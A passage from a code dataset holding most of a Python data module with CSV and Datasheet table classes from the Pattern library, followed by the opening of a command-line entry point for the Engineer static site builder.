[\"c\",\"a\",\"b\"] => [1, 2, 0]\n This means that in the sorted list, \"a\" (index 1) comes first and \"c\" (index 0) last.\n \"\"\"\n if cmp and key:\n f = lambda i, j: cmp(key(list[i]), key(list[j]))\n elif cmp:\n f = lambda i, j: cmp(list[i], list[j])\n elif key:\n f = lambda i, j: int(key(list[i]) >= key(list[j])) * 2 - 1\n else:\n f = lambda i, j: int(list[i] >= list[j]) * 2 - 1\n return sorted(range(len(list)), key=cmp_to_key(f), reverse=reverse)\n\n_order = order\n\n\ndef avg(list):\n \"\"\" Returns the arithmetic mean of the given list of values.\n For example: mean([1,2,3,4]) = 10/4 = 2.5.\n \"\"\"\n return float(_sum(list)) / (len(list) or 1)\n\n\ndef variance(list):\n \"\"\" Returns the variance of the given list of values.\n The variance is the average of squared deviations from the mean.\n \"\"\"\n a = avg(list)\n return _sum([(x - a)**2 for x in list]) / (len(list) - 1 or 1)\n\n\ndef stdev(list):\n \"\"\" Returns the standard deviation of the given list of values.\n Low standard deviation => values are close to the mean.\n High standard deviation => values are spread out over a large range.\n \"\"\"\n return sqrt(variance(list))\n\n#### FIELD #########################################################################################\n\n\nclass _String(str):\n # The STRING constant can be called with a length when passed to field(),\n # for example field(\"language\", type=STRING(2), default=\"en\", index=True).\n def __new__(self):\n return str.__new__(self, \"string\")\n\n def __call__(self, length=100):\n return \"varchar(%s)\" % (length > 255 and 255 or (length < 1 and 1 or length))\n\n# Field type.\n# Note: SQLite string fields do not impose a string limit.\n# Unicode strings have more characters than actually displayed (e.g. \"♥\").\n# Boolean fields are stored as tinyint(1), int 0 or 1.\nSTRING, INTEGER, FLOAT, TEXT, BLOB, BOOLEAN, DATE = \\\n _String(), \"integer\", \"float\", \"text\", \"blob\", \"boolean\", \"date\"\n\nSTR, INT, BOOL = STRING, INTEGER, BOOLEAN\n\n\n#--- QUERY -----------------------------------------------------------------------------------------\n\n\n\n# Sorting:\nASCENDING = \"asc\"\nDESCENDING = \"desc\"\n\n# Grouping:\nFIRST, LAST, COUNT, MAX, MIN, SUM, AVG, STDEV, CONCATENATE = \\\n \"first\", \"last\", \"count\", \"max\", \"min\", \"sum\", \"avg\", \"stdev\", \"group_concat\"\n\n\n#### DATASHEET #####################################################################################\n\n#--- CSV -------------------------------------------------------------------------------------------\n\n# Raise the default field size limit:\nif sys.platform == 'win32':\n csvlib.field_size_limit(min(sys.maxsize, 2147483647))\nelse:\n csvlib.field_size_limit(sys.maxsize)\n\n\ndef csv_header_encode(field, type=STRING):\n # csv_header_encode(\"age\", INTEGER) => \"age (INTEGER)\".\n t = re.sub(r\"^varchar\\(.*?\\)\", \"string\", (type or \"\"))\n t = t and \" (%s)\" % t or \"\"\n s = \"%s%s\" % (field or \"\", t.upper())\n return s\n\n\ndef csv_header_decode(s):\n # csv_header_decode(\"age (INTEGER)\") => (\"age\", INTEGER).\n p = r\"STRING|INTEGER|FLOAT|TEXT|BLOB|BOOLEAN|DATE|\"\n p = re.match(r\"(.*?) \\((\" + p + r\")\\)\", s)\n s = s.endswith(\" ()\") and s[:-3] or s\n return p and (string(p.group(1), default=None), p.group(2).lower()) or (string(s) or None, None)\n\n\nclass CSV(list):\n\n def __new__(cls, rows=[], fields=None, **kwargs):\n \"\"\" A list of lists that can be imported and exported as a comma-separated text file (CSV).\n \"\"\"\n if isinstance(rows, str) and os.path.exists(rows):\n csv = cls.load(rows, **kwargs)\n else:\n csv = list.__new__(cls)\n return csv\n\n def __init__(self, rows=[], fields=None, **kwargs):\n # List of (name, type)-tuples (STRING, INTEGER, FLOAT, DATE, BOOLEAN).\n fields = fields or kwargs.pop(\"headers\", None)\n fields = fields and [tuple(f) if isinstance(f, (tuple, list)) else (f, None) for f in fields] or None\n self.__dict__[\"fields\"] = fields\n if hasattr(rows, \"__iter__\"):\n self.extend(rows, **kwargs)\n\n def extend(self, rows, **kwargs):\n list.extend(self, rows)\n\n def _set_headers(self, v):\n self.__dict__[\"fields\"] = v\n\n def _get_headers(self):\n return self.__dict__[\"fields\"]\n\n headers = property(_get_headers, _set_headers)\n\n def save(self, path, separator=\",\", encoder=lambda v: v, headers=False, password=None, **kwargs):\n \"\"\" Exports the table to a unicode text file at the given path.\n Rows in the file are separated with a newline.\n Columns in a row are separated with the given separator (by default, comma).\n For data types other than string, int, float, bool or None, a custom string encoder can be given.\n \"\"\"\n # Optional parameters include all arguments for csv.writer(), see:\n # http://docs.python.org/library/csv.html#csv.writer\n kwargs.setdefault(\"delimiter\", separator)\n kwargs.setdefault(\"quoting\", csvlib.QUOTE_ALL)\n # csv.writer will handle str, int, float and bool:\n s = StringIO()\n w = csvlib.writer(s, **kwargs)\n if headers and self.fields is not None:\n w.writerows([[csv_header_encode(name, type) for name, type in self.fields]])\n w.writerows([[encoder(v) for v in row] for row in self])\n s = s.getvalue()\n s = s.strip()\n s = re.sub(\"([^\\\"]|^)\\\"None\\\"\", \"\\\\1None\", s)\n s = s if not password else encrypt_string(s, password)\n f = open(path, \"w\", encoding=\"utf-8\")\n f.write(BOM_UTF8)\n f.write(s)\n f.close()\n\n @classmethod\n def load(cls, path, separator=\",\", decoder=lambda v: v, headers=False, preprocess=None, password=None, **kwargs):\n \"\"\" Returns a table from the data in the given text file.\n Rows are expected to be separated by a newline.\n Columns are expected to be separated by the given separator (by default, comma).\n Strings will be converted to int, float, bool, date or None if headers are parsed.\n For other data types, a custom string decoder can be given.\n A preprocess(str) function can be given to change the file content before parsing.\n \"\"\"\n # Date objects are saved and loaded as strings, but it is easy to convert these back to dates:\n # - set a DATE field type for the column,\n # - or do Table.columns[x].map(lambda s: date(s))\n f = open(path, \"r\", encoding=\"utf-8\")\n\n data = f if not password else decrypt_string(f.read(), password)\n data.seek(data.readline().startswith(BOM_UTF8) and 3 or 0)\n data = data if not password else BytesIO(data.replace(\"\\r\\n\", \"\\n\").replace(\"\\r\", \"\\n\"))\n data = data if not preprocess else BytesIO(preprocess(data.read()))\n data = csvlib.reader(data, delimiter=separator)\n\n i, n = kwargs.get(\"start\"), kwargs.get(\"count\")\n if i is not None and n is not None:\n data = list(islice(data, i, i + n))\n elif i is not None:\n data = list(islice(data, i, None))\n elif n is not None:\n data = list(islice(data, n))\n else:\n data = list(data)\n\n f.close()\n del f\n\n if headers:\n fields = [csv_header_decode(field) for field in data.pop(0)]\n fields += [(None, None)] * (max([0] + [len(row) for row in data]) - len(fields))\n else:\n fields = []\n if not fields:\n # Cast fields using the given decoder (by default, all strings + None).\n data = [[decoder(decode_utf8(v) if v != \"None\" else None) for v in row] for row in data]\n else:\n # Cast fields to their defined field type (STRING, INTEGER, ...)\n for i, row in enumerate(data):\n for j, v in enumerate(row):\n type = fields[j][1]\n if row[j] == \"None\":\n row[j] = decoder(None)\n elif type is None:\n row[j] = decoder(decode_utf8(v))\n elif type in (STRING, TEXT):\n row[j] = decode_utf8(v)\n elif type == INTEGER:\n row[j] = int(row[j])\n elif type == FLOAT:\n row[j] = float(row[j])\n elif type == BOOLEAN:\n row[j] = bool(row[j])\n elif type == DATE:\n row[j] = date(row[j])\n elif type == BLOB:\n row[j] = v\n else:\n row[j] = decoder(decode_utf8(v))\n return cls(rows=data, fields=fields, **kwargs)\n\n#--- DATASHEET -------------------------------------------------------------------------------------\n\n\nclass Datasheet(CSV):\n\n def __init__(self, rows=[], fields=None, **kwargs):\n \"\"\" A matrix of rows and columns, where each row and column can be retrieved as a list.\n Values can be any kind of Python object.\n \"\"\"\n # NumPy array, convert to list of int/float/str/bool.\n if rows.__class__.__name__ == \"ndarray\":\n rows = rows.tolist()\n self.__dict__[\"_rows\"] = DatasheetRows(self)\n self.__dict__[\"_columns\"] = DatasheetColumns(self)\n self.__dict__[\"_m\"] = 0 # Number of columns per row, see Datasheet.insert().\n list.__init__(self)\n CSV.__init__(self, rows, fields, **kwargs)\n\n def _get_rows(self):\n return self._rows\n\n def _set_rows(self, rows):\n # Datasheet.rows property can't be set, except in special case Datasheet.rows += row.\n if isinstance(rows, DatasheetRows) and rows._datasheet == self:\n self._rows = rows\n return\n raise AttributeError(\"can't set attribute\")\n rows = property(_get_rows, _set_rows)\n\n def _get_columns(self):\n return self._columns\n\n def _set_columns(self, columns):\n # Datasheet.columns property can't be set, except in special case Datasheet.columns += column.\n if isinstance(columns, DatasheetColumns) and columns._datasheet == self:\n self._columns = columns\n return\n raise AttributeError(\"can't set attribute\")\n columns = cols = property(_get_columns, _set_columns)\n\n def __getattr__(self, k):\n \"\"\" Columns can be retrieved by field name, e.g., Datasheet.date.\n \"\"\"\n #print(\"Datasheet.__getattr__\", k)\n if k in self.__dict__:\n return self.__dict__[k]\n for i, f in enumerate(f[0] for f in self.__dict__[\"fields\"] or []):\n if f == k:\n return self.__dict__[\"_columns\"][i]\n raise AttributeError(\"'Datasheet' object has no attribute '%s'\" % k)\n\n def __setattr__(self, k, v):\n \"\"\" Columns can be set by field name, e.g., Datasheet.date = [...].\n \"\"\"\n #print(\"Datasheet.__setattr__\", k)\n if k in self.__dict__:\n self.__dict__[k] = v\n return\n if k == \"rows\":\n self._set_rows(v)\n return\n if k == \"columns\":\n self._set_columns(v)\n return\n if k == \"headers\":\n self._set_headers(v)\n return\n for i, f in enumerate(f[0] for f in self.__dict__[\"fields\"] or []):\n if f == k:\n self.__dict__[\"_columns\"].__setitem__(i, v)\n return\n raise AttributeError(\"'Datasheet' object has no attribute '%s'\" % k)\n\n def __setitem__(self, index, value):\n \"\"\" Sets an item or row in the matrix.\n For Datasheet[i] = v, sets the row at index i to v.\n For Datasheet[i,j] = v, sets the value in row i and column j to v.\n \"\"\"\n if isinstance(index, tuple):\n list.__getitem__(self, index[0])[index[1]] = value\n elif isinstance(index, int):\n self.pop(index)\n self.insert(index, value)\n else:\n raise TypeError(\"Datasheet indices must be int or tuple\")\n\n def __getitem__(self, index):\n \"\"\" Returns an item, row or slice from the matrix.\n For Datasheet[i], returns the row at the given index.\n For Datasheet[i,j], returns the value in row i and column j.\n \"\"\"\n if isinstance(index, int):\n # Datasheet[i] => row i.\n return list.__getitem__(self, index)\n elif isinstance(index, slice):\n return Datasheet(rows = list.__getitem__(self, index), fields = self.fields)\n elif isinstance(index, tuple):\n i, j = index\n # Datasheet[i,j] => item from column j in row i.\n # Datasheet[i,j1:j2] => columns j1-j2 from row i.\n if not isinstance(i, slice):\n return list.__getitem__(self, i)[j]\n # Datasheet[i1:i2,j] => column j from rows i1-i2.\n if not isinstance(j, slice):\n return [row[j] for row in list.__getitem__(self, i)]\n # Datasheet[i1:i2,j1:j2] => Datasheet with columns j1-j2 from rows i1-i2.\n return Datasheet(\n rows = (row[j] for row in list.__getitem__(self, i)),\n fields = self.fields and self.fields[j] or self.fields)\n raise TypeError(\"Datasheet indices must be int, tuple or slice\")\n\n # Python 2 (backward compatibility)\n __getslice__ = lambda self, i, j: self.__getitem__(slice(i, j))\n\n def __delitem__(self, index):\n self.pop(index)\n\n # datasheet1 = datasheet2 + datasheet3\n # datasheet1 = [[...],[...]] + datasheet2\n # datasheet1 += datasheet2\n def __add__(self, datasheet):\n m = self.copy()\n m.extend(datasheet)\n return m\n\n def __radd__(self, datasheet):\n m = Datasheet(datasheet)\n m.extend(self)\n return m\n\n def __iadd__(self, datasheet):\n self.extend(datasheet)\n return self\n\n def insert(self, i, row, default=None, **kwargs):\n \"\"\" Inserts the given row into the matrix.\n Missing columns at the end (right) will be filled with the default value.\n \"\"\"\n try:\n # Copy the row (fast + safe for generators and DatasheetColumns).\n row = [v for v in row]\n except:\n raise TypeError(\"Datasheet.insert(x): x must be list\")\n list.insert(self, i, row)\n m = max((len(self) > 1 and self._m or 0, len(row)))\n if len(row) < m:\n row.extend([default] * (m - len(row)))\n if self._m < m:\n # The given row might have more columns than the rows in the matrix.\n # Performance takes a hit when these rows have to be expanded:\n for row in self:\n if len(row) < m:\n row.extend([default] * (m - len(row)))\n self.__dict__[\"_m\"] = m\n\n def append(self, row, default=None, _m=None, **kwargs):\n self.insert(len(self), row, default)\n\n def extend(self, rows, default=None, **kwargs):\n for row in rows:\n self.insert(len(self), row, default)\n\n def group(self, j, function=FIRST, key=lambda v: v):\n \"\"\" Returns a datasheet with unique values in column j by grouping rows with the given function.\n The function takes a list of column values as input and returns a single value,\n e.g. FIRST, LAST, COUNT, MAX, MIN, SUM, AVG, STDEV, CONCATENATE.\n The function can also be a list of functions (one for each column).\n TypeError will be raised when the function cannot handle the data in a column.\n The key argument can be used to map the values in column j, for example:\n key=lambda date: date.year to group Date objects by year.\n \"\"\"\n if isinstance(function, tuple):\n function = list(function)\n if not isinstance(function, list):\n function = [function] * self._m\n if len(function) < self._m:\n function += [FIRST] * (self._m - len(function))\n for i, f in enumerate(function):\n if i == j: # Group column j is always FIRST.\n f = FIRST\n if f == FIRST:\n function[i] = lambda a: a[+0]\n if f == LAST:\n function[i] = lambda a: a[-1]\n if f == COUNT:\n function[i] = lambda a: len(a)\n if f == MAX:\n function[i] = lambda a: max(a)\n if f == MIN:\n function[i] = lambda a: min(a)\n if f == SUM:\n function[i] = lambda a: _sum([x for x in a if x is not None])\n if f == AVG:\n function[i] = lambda a: avg([x for x in a if x is not None])\n if f == STDEV:\n function[i] = lambda a: stdev([x for x in a if x is not None])\n if f == CONCATENATE:\n function[i] = lambda a: \",\".join(decode_utf8(x) for x in a if x is not None)\n J = j\n # Map unique values in column j to a list of rows that contain this value.\n g = {}\n [g.setdefault(key(v), []).append(i) for i, v in enumerate(self.columns[j])]\n # Map unique values in column j to a sort index in the new, grouped list.\n o = [(g[v][0], v) for v in g]\n o = dict([(v, i) for i, (ii, v) in enumerate(sorted(o))])\n # Create a list of rows with unique values in column j,\n # applying the group function to the other columns.\n u = [None] * len(o)\n for v in g:\n # List the column values for each group row.\n u[o[v]] = [[list.__getitem__(self, i)[j] for i in g[v]] for j in range(self._m)]\n # Apply the group function to each row, except the unique value in column j.\n u[o[v]] = [function[j](column) for j, column in enumerate(u[o[v]])]\n u[o[v]][J] = v # list.__getitem__(self, i)[J]\n return Datasheet(rows=u)\n\n def record(self, row):\n \"\"\" Returns the given row as a dictionary of (field or alias, value)-items.\n \"\"\"\n return dict(list(zip((f for f, type in self.fields), row)))\n\n def map(self, function=lambda item: item):\n \"\"\" Applies the given function to each item in the matrix.\n \"\"\"\n for i, row in enumerate(self):\n for j, item in enumerate(row):\n row[j] = function(item)\n\n def slice(self, i, j, n, m):\n \"\"\" Returns a new Datasheet starting at row i and column j and spanning n rows and m columns.\n \"\"\"\n return Datasheet(rows=[list.__getitem__(self, i)[j:j + m] for i in range(i, i + n)])\n\n def copy(self, rows=ALL, columns=ALL):\n \"\"\" Returns a new Datasheet from a selective list of row and/or column indices.\n \"\"\"\n if rows == ALL and columns == ALL:\n return Datasheet(rows=self)\n if rows == ALL:\n return Datasheet(rows=list(zip(*(self.columns[j] for j in columns))))\n if columns == ALL:\n return Datasheet(rows=(self.rows[i] for i in rows))\n z = list(zip(*(self.columns[j] for j in columns)))\n return Datasheet(rows=(z[i] for i in rows))\n\n @property\n def array(self):\n \"\"\" Returns a NumPy array.\n Arrays must have elements of the same type, and rows of equal size.\n \"\"\"\n import numpy\n return numpy.array(self)\n\n @property\n def json(self, **kwargs):\n \"\"\" Returns a JSON-string, as a list of dictionaries (if fields are defined) or as a list of lists.\n This is useful for sending a Datasheet to JavaScript, for example.\n \"\"\"\n kwargs.setdefault(\"ensure_ascii\", False) # Disable simplejson's Unicode encoder.\n if self.fields is not None:\n s = json.dumps([dict((f[0], row[i]) for i, f in enumerate(self.fields)) for row in self], **kwargs)\n else:\n s = json.dumps(self, **kwargs)\n return decode_utf8(s)\n\n @property\n def html(self):\n \"\"\" Returns a HTML-string with a .\n This is useful for viewing the data, e.g., open(\"data.html\", \"wb\").write(datasheet.html).\n \"\"\"\n def encode(s):\n s = \"%s\" % s\n s = s.replace(\"&\", \"&\")\n s = s.replace(\"<\", \"<\")\n s = s.replace(\">\", \">\")\n s = s.replace(\"-\", \"‑\")\n s = s.replace(\"\\n\", \"
    \\n\")\n return s\n a = []\n a.append(\"\\n\")\n a.append(\"\\n\")\n a.append(\"
    \\n\")\n if self.fields is not None:\n a.append(\"\\n\")\n a.append(\"\\t\\n\" % \"#\")\n a.extend(\"\\t\\n\" % encode(f[0]) for f in self.fields)\n a.append(\"\\n\")\n for i, row in enumerate(self):\n a.append(\"\\n\")\n a.append(\"\\t\\n\" % (i + 1))\n a.extend(\"\\t\\n\" % encode(v) for v in row)\n a.append(\"\\n\")\n a.append(\"
    %s%s
    %s%s
    \")\n return encode_utf8(\"\".join(a))\n\n\ndef flip(datasheet):\n \"\"\" Returns a new datasheet with rows for columns and columns for rows.\n \"\"\"\n return Datasheet(rows=datasheet.columns)\n\n\ndef csv(*args, **kwargs):\n \"\"\" Returns a Datasheet from the given CSV file path.\n \"\"\"\n if len(args) == 0:\n return Datasheet(**kwargs)\n return Datasheet.load(*args, **kwargs)\n\n#--- DATASHEET ROWS --------------------------------------------------------------------------------\n# Datasheet.rows mimics the operations on Datasheet:\n\n\nclass DatasheetRows(list):\n\n def __init__(self, datasheet):\n self._datasheet = datasheet\n\n def __setitem__(self, i, row):\n self._datasheet.pop(i)\n self._datasheet.insert(i, row)\n\n def __getitem__(self, i):\n return list.__getitem__(self._datasheet, i)\n\n def __getslice__(self, i, j):\n return self._datasheet[i:j]\n\n def __delitem__(self, i):\n self.pop(i)\n\n def __len__(self):\n return len(self._datasheet)\n\n def __iter__(self):\n for i in range(len(self)):\n yield list.__getitem__(self._datasheet, i)\n\n def __repr__(self):\n return repr(self._datasheet)\n\n def __add__(self, row):\n raise TypeError(\"unsupported operand type(s) for +: 'Datasheet.rows' and '%s'\" % row.__class__.__name__)\n\n def __iadd__(self, row):\n self.append(row)\n return self\n\n def __eq__(self, rows):\n return self._datasheet.__eq__(rows)\n\n def __ne__(self, rows):\n return self._datasheet.__ne__(rows)\n\n def insert(self, i, row, default=None):\n self._datasheet.insert(i, row, default)\n\n def append(self, row, default=None):\n self._datasheet.append(row, default)\n\n def extend(self, rows, default=None):\n self._datasheet.extend(rows, default)\n\n def remove(self, row):\n self._datasheet.remove(row)\n\n def pop(self, i):\n return self._datasheet.pop(i)\n\n def count(self, row):\n return self._datasheet.count(row)\n\n def index(self, row):\n return self._datasheet.index(row)\n\n def sort(self, cmp=None, key=None, reverse=False):\n self._datasheet.sort(cmp, key, reverse)\n\n def reverse(self):\n self._datasheet.reverse()\n\n def swap(self, i1, i2):\n self[i1], self[i2] = self[i2], self[i1]\n\n#--- DATASHEET COLUMNS -----------------------------------------------------------------------------\n\n\nclass DatasheetColumns(list):\n\n def __init__(self, datasheet):\n self._datasheet = datasheet\n self._cache = {} # Keep a reference to DatasheetColumn objects generated with Datasheet.columns[j].\n # This way we can unlink them when they are deleted.\n\n def __setitem__(self, j, column):\n if self._datasheet.fields is not None and j < len(self._datasheet.fields):\n # Preserve the column header if it exists.\n f = self._datasheet.fields[j]\n else:\n f = None\n self.pop(j)\n self.insert(j, column, field=f)\n\n def __getitem__(self, j):\n if j < 0:\n j = j % len(self) # DatasheetColumns[-1]\n if j >= len(self):\n raise IndexError(\"list index out of range\")\n return self._cache.setdefault(j, DatasheetColumn(self._datasheet, j))\n\n def __getslice__(self, i, j):\n return self._datasheet[:, i:j]\n\n def __delitem__(self, j):\n self.pop(j)\n\n def __len__(self):\n return len(self._datasheet) > 0 and len(self._datasheet[0]) or 0\n\n def __iter__(self):\n for i in range(len(self)):\n yield self.__getitem__(i)\n\n def __repr__(self):\n return repr(list(iter(self)))\n\n def __add__(self, column):\n raise TypeError(\"unsupported operand type(s) for +: 'Datasheet.columns' and '%s'\" % column.__class__.__name__)\n\n def __iadd__(self, column):\n self.append(column)\n return self\n\n def __eq__(self, columns):\n return list(self) == columns\n\n def __ne__(self, columns):\n return not self.__eq__(self, columns)\n\n def insert(self, j, column, default=None, field=None):\n \"\"\" Inserts the given column into the matrix.\n Missing rows at the end (bottom) will be filled with the default value.\n \"\"\"\n try:\n column = [v for v in column]\n except:\n raise TypeError(\"Datasheet.columns.insert(x): x must be list\")\n column = column + [default] * (len(self._datasheet) - len(column))\n if len(column) > len(self._datasheet):\n self._datasheet.extend([[None]] * (len(column) - len(self._datasheet)))\n for i, row in enumerate(self._datasheet):\n row.insert(j, column[i])\n self._datasheet.__dict__[\"_m\"] += 1 # Increase column count.\n # Add a new header.\n if self._datasheet.fields is not None:\n self._datasheet.fields += [(None, None)] * (len(self) - len(self._datasheet.fields) - 1)\n self._datasheet.fields.insert(j, field or (None, None))\n\n def append(self, column, default=None, field=None):\n self.insert(len(self), column, default, field)\n\n def extend(self, columns, default=None, fields=[]):\n for j, column in enumerate(columns):\n self.insert(len(self), column, default, j < len(fields) and fields[j] or None)\n\n def remove(self, column):\n if isinstance(column, DatasheetColumn) and column._datasheet == self._datasheet:\n self.pop(column._j)\n return\n raise ValueError(\"list.remove(x): x not in list\")\n\n def pop(self, j):\n column = list(self[j]) # Return a list copy.\n for row in self._datasheet:\n row.pop(j)\n # At one point a DatasheetColumn object was created with Datasheet.columns[j].\n # It might still be in use somewhere, so we unlink it from the datasheet:\n self._cache[j]._datasheet = Datasheet(rows=[[v] for v in column])\n self._cache[j]._j = 0\n self._cache.pop(j)\n for k in range(j + 1, len(self) + 1):\n if k in self._cache:\n # Shift the DatasheetColumn objects on the right to the left.\n self._cache[k - 1] = self._cache.pop(k)\n self._cache[k - 1]._j = k - 1\n self._datasheet.__dict__[\"_m\"] -= 1 # Decrease column count.\n # Remove the header.\n if self._datasheet.fields is not None:\n self._datasheet.fields.pop(j)\n return column\n\n def count(self, column):\n return len([True for c in self if c == column])\n\n def index(self, column):\n if isinstance(column, DatasheetColumn) and column._datasheet == self._datasheet:\n return column._j\n return list(self).index(column)\n\n def sort(self, cmp=None, key=None, reverse=False, order=None):\n # This makes most sense if the order in which columns should appear is supplied.\n if order and reverse is True:\n o = list(reversed(order))\n if order and reverse is False:\n o = list(order)\n if not order:\n o = _order(self, cmp, key, reverse)\n for i, row in enumerate(self._datasheet):\n # The main difficulty is modifying each row in-place,\n # since other variables might be referring to it.\n r = list(row)\n [row.__setitem__(i2, r[i1]) for i2, i1 in enumerate(o)]\n # Reorder the datasheet headers.\n if self._datasheet.fields is not None:\n self._datasheet.fields = [self._datasheet.fields[i] for i in o]\n\n def swap(self, j1, j2):\n self[j1], self[j2] = self[j2], self[j1]\n # Reorder the datasheet headers.\n if self._datasheet.fields is not None:\n self._datasheet.fields[j1], self._datasheet.fields[j2] = (\n self._datasheet.fields[j2],\n self._datasheet.fields[j1])\n\n#--- DATASHEET COLUMN ------------------------------------------------------------------------------\n\n\nclass DatasheetColumn(list):\n\n def __init__(self, datasheet, j):\n \"\"\" A dynamic column in a Datasheet.\n If the actual column is deleted with Datasheet.columns.remove() or Datasheet.columms.pop(),\n the DatasheetColumn object will be orphaned (i.e., it is no longer part of the table).\n \"\"\"\n self._datasheet = datasheet\n self._j = j\n\n def __getslice__(self, i, j):\n return list(list.__getitem__(self._datasheet, i)[self._j] for i in range(i, min(j, len(self._datasheet))))\n\n def __getitem__(self, i):\n return list.__getitem__(self._datasheet, i)[self._j]\n\n def __setitem__(self, i, value):\n list.__getitem__(self._datasheet, i)[self._j] = value\n\n def __len__(self):\n return len(self._datasheet)\n\n def __iter__(self): # Can be put more simply but optimized for performance:\n for i in range(len(self)):\n yield list.__getitem__(self._datasheet, i)[self._j]\n\n def __reversed__(self):\n return reversed(list(iter(self)))\n\n def __repr__(self):\n return repr(list(iter(self)))\n\n def __gt__(self, column):\n return list(self) > list(column)\n\n def __lt__(self, column):\n return list(self) < list(column)\n\n def __ge__(self, column):\n return list(self) >= list(column)\n\n def __le__(self, column):\n return list(self) <= list(column)\n\n def __eq__(self, column):\n return list(self) == column\n\n def __ne__(self, column):\n return not self.__eq__(column)\n\n def __add__(self, column):\n return list(self) + list(column)\n\n def __iadd__(self, column):\n self.extend(column)\n\n def __contains__(self, value):\n for v in self:\n if v == value:\n return True\n return False\n\n def count(self, value):\n return len([True for v in self if v == value])\n\n def index(self, value):\n for i, v in enumerate(self):\n if v == value:\n return i\n raise ValueError(\"list.index(x): x not in list\")\n\n def remove(self, value):\n \"\"\" Removes the matrix row that has the given value in this column.\n \"\"\"\n for i, v in enumerate(self):\n if v == value:\n self._datasheet.pop(i)\n return\n raise ValueError(\"list.remove(x): x not in list\")\n\n def pop(self, i):\n \"\"\" Removes the entire row from the matrix and returns the value at the given index.\n \"\"\"\n row = self._datasheet.pop(i)\n return row[self._j]\n\n def sort(self, cmp=None, key=None, reverse=False):\n \"\"\" Sorts the rows in the matrix according to the values in this column,\n e.g. clicking ascending / descending on a column header in a datasheet viewer.\n \"\"\"\n o = order(list(self), cmp, key, reverse)\n # Modify the table in place, more than one variable may be referencing it:\n r = list(self._datasheet)\n [self._datasheet.__setitem__(i2, r[i1]) for i2, i1 in enumerate(o)]\n\n def insert(self, i, value, default=None):\n \"\"\" Inserts the given value in the column.\n This will create a new row in the matrix, where other columns are set to the default.\n \"\"\"\n self._datasheet.insert(i, [default] * self._j + [value] + [default] * (len(self._datasheet) - self._j - 1))\n\n def append(self, value, default=None):\n self.insert(len(self), value, default)\n\n def extend(self, values, default=None):\n for value in values:\n self.insert(len(self), value, default)\n\n def map(self, function=lambda value: value):\n \"\"\" Applies the given function to each value in the column.\n \"\"\"\n for j, value in enumerate(self):\n self[j] = function(value)\n\n def filter(self, function=lambda value: True):\n \"\"\" Removes the matrix rows for which function(value) in the column is not True.\n \"\"\"\n i = len(self)\n for v in reversed(self):\n i -= 1\n if not function(v):\n self._datasheet.pop(i)\n\n def swap(self, i1, i2):\n self._datasheet.swap(i1, i2)\n\n#---------------------------------------------------------------------------------------------------\n\n_UID = 0\n\n\ndef uid():\n global _UID\n _UID += 1\n return _UID\n\n\ndef truncate(string, length=100):\n \"\"\" Returns a (head, tail)-tuple, where the head string length is less than the given length.\n Preferably the string is split at a space, otherwise a hyphen (\"-\") is injected.\n \"\"\"\n if len(string) <= length:\n return string, \"\"\n n, words = 0, string.split(\" \")\n for i, w in enumerate(words):\n if n + len(w) > length:\n break\n n += len(w) + 1\n if i == 0 and len(w) > length:\n return (w[:length - 1] + \"-\",\n (w[length - 1:] + \" \" + \" \".join(words[1:])).strip())\n return (\" \".join(words[:i]),\n \" \".join(words[i:]))\n\n_truncate = truncate\n\n\ndef pprint(datasheet, truncate=40, padding=\" \", fill=\".\"):\n \"\"\" Prints a string where the rows in the datasheet are organized in outlined columns.\n \"\"\"\n # Calculate the width of each column, based on the longest field in each column.\n # Long fields can be split across different lines, so we need to check each line.\n w = [0 for column in datasheet.columns]\n R = []\n for i, row in enumerate(datasheet.rows):\n fields = []\n for j, v in enumerate(row):\n # Cast each field in the row to a string.\n # Strings that span beyond the maximum column width are wrapped.\n # Thus, each \"field\" in the row is a list of lines.\n lines = []\n if not isinstance(v, str):\n v = str(v)\n for v in v.splitlines():\n v = decode_utf8(v.strip())\n while v:\n head, v = _truncate(v, truncate)\n lines.append(head)\n w[j] = max(w[j], len(head))\n fields.append(lines)\n R.append(fields)\n for i, fields in enumerate(R):\n # Add empty lines to each field so they are of equal height.\n n = max([len(lines) for lines in fields])\n fields = [lines + [\"\"] * (n - len(lines)) for lines in fields]\n # Print the row line per line, justifying the fields with spaces.\n columns = []\n for k in range(n):\n for j, lines in enumerate(fields):\n s = lines[k]\n s += ((k == 0 or len(lines[k]) > 0) and fill or \" \") * (w[j] - len(lines[k]))\n s += padding\n columns.append(s)\n print(\" \".join(columns))\n","sub_path":"pattern/db/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":46275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"119045600","text":"# coding=utf-8\nimport argparse\nimport logging\nimport sys\nimport time\n\nimport arrow\nfrom path import path\n\nfrom engineer.commands import all_commands, common_parser\nfrom engineer.log import get_console_handler, bootstrap\nfrom engineer.plugins import load_plugins\nfrom engineer import version\n\ntry:\n # noinspection PyPep8Naming\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\n__author__ = 'Tyler Butler '\n\n\ndef get_argparser():\n # from engineer.commands.argh import PrintArghCommand\n desc = \"Engineer static site builder. [v%s, %s %s]\" % (version,\n version.date,\n time.strftime('%X',\n arrow.get(version.datetime).to(\n 'local').timetuple()))\n top_level_parser = argparse.ArgumentParser(prog='engineer',\n description=desc,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n subparsers = top_level_parser.add_subparsers(title=\"subcommands\",\n dest='parser_name')\n\n for command_class in all_commands():\n instance = command_class(subparsers, top_level_parser)\n instance.setup_command()\n\n return top_level_parser\n\n\ndef parse_override_args(extra_args):\n override = {}\n override_settings_indexes = [i for i, j in enumerate(extra_args) if j.startswith('--')]\n for index, item in enumerate(override_settings_indexes):\n v2 = override_settings_indexes[index + 1] if (index + 1) < len(override_settings_indexes) else len(extra_args)\n r = range(item + 1, v2)\n for _ in r:\n values = [extra_args[v] for v in r]\n if len(values) == 1:\n values = values[0]\n override[extra_args[item][2:].upper()] = values\n return override\n\n\ndef cmdline(args=sys.argv):\n # bootstrap logging\n bootstrap()\n\n # Load all plugins\n load_plugins()\n\n skip_settings = []\n args, extra_args = get_argparser().parse_known_args(args[1:])\n\n # Handle common parameters if they're present\n common_args, extra_args = common_parser.parse_known_args(extra_args)\n\n override = parse_override_args(extra_args)\n\n verbose = getattr(args, 'verbose', common_args.verbose)\n config_file = getattr(args, 'config_file', common_args.config_file)\n\n logger = logging.getLogger('engineer')\n if verbose >= 2:\n logger.removeHandler(get_console_handler(logging.WARNING))\n logger.addHandler(get_console_handler(logging.DEBUG))\n elif verbose == 1:\n 